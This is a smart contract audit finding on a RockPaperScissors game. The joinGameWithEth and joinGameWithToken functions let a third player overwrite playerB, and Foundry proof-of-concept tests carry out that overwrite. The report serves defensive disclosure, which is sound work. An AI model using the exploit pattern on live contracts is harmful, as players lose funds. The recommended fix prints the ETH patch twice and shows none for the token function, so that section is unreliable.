Summary
The RockPaperScissors::joinGameWithEth and RockPaperScissors::joinGameWithToken functions do not check if the playerB slot is already filled. This allows a third player (playerC) to overwrite playerB after they’ve joined, causing playerB to lose their bet while playerC takes their place, violating the 2-player game logic.
Vulnerability Details
The functions RockPaperScissors::joinGameWithEth and RockPaperScissors::joinGameWithToken fail to verify if playerB is already assigned. As a result, a third player (playerC) can overwrite playerB's slot after they’ve already joined the game, leading to the loss of funds for playerB and disrupting the two-player game flow. This results in unfair gameplay and potential for griefing, as the game allows a malicious player to hijack an existing spot.
Impact
PlayerB can lose their ETH or tokens after successfully joining a game.
PlayerC replaces PlayerB, breaking the expected flow of a two-player game.
This leads to financial loss and trust issues, and also disrupts game progression.
Potential for griefing or spamming the game contract to kick legitimate players.
Proof of Concept
Place the following tests in RockPaperScissorsTest.t.sol to demonstrate the vulnerability:
function testJoinGameWithEth_breaksRule() public {
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
vm.startPrank(playerB);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
vm.startPrank(playerC);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerC);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
(address storedPlayerA, address storedPlayerC,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerC, playerC);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
}
function testJoinGameWithToken_breakRules() public {
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerB);
token.approve(address(game), 1);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithToken(gameId);
vm.stopPrank();
vm.startPrank(playerC);
token.approve(address(game), 1);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerC);
game.joinGameWithToken(gameId);
vm.stopPrank();
assertEq(token.balanceOf(playerB), 9);
assertEq(token.balanceOf(playerC), 9);
assertEq(token.balanceOf(address(game)), 3);
(address storedPlayerA, address storedPlayerC,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerC, playerC);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
}
Tools Used
Foundry, manual code review
Recommendations
Add a require statement in both functions RockPaperScissors::joinGameWithEth & RockPaperScissors::joinGameWithToken to check if playerB has joined. If joined, revert for playerC; if not, allow joining.
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
+ require(game.playerB == address(0), "Game already has two players");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
+ require(game.playerB == address(0), "Game already has two players");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}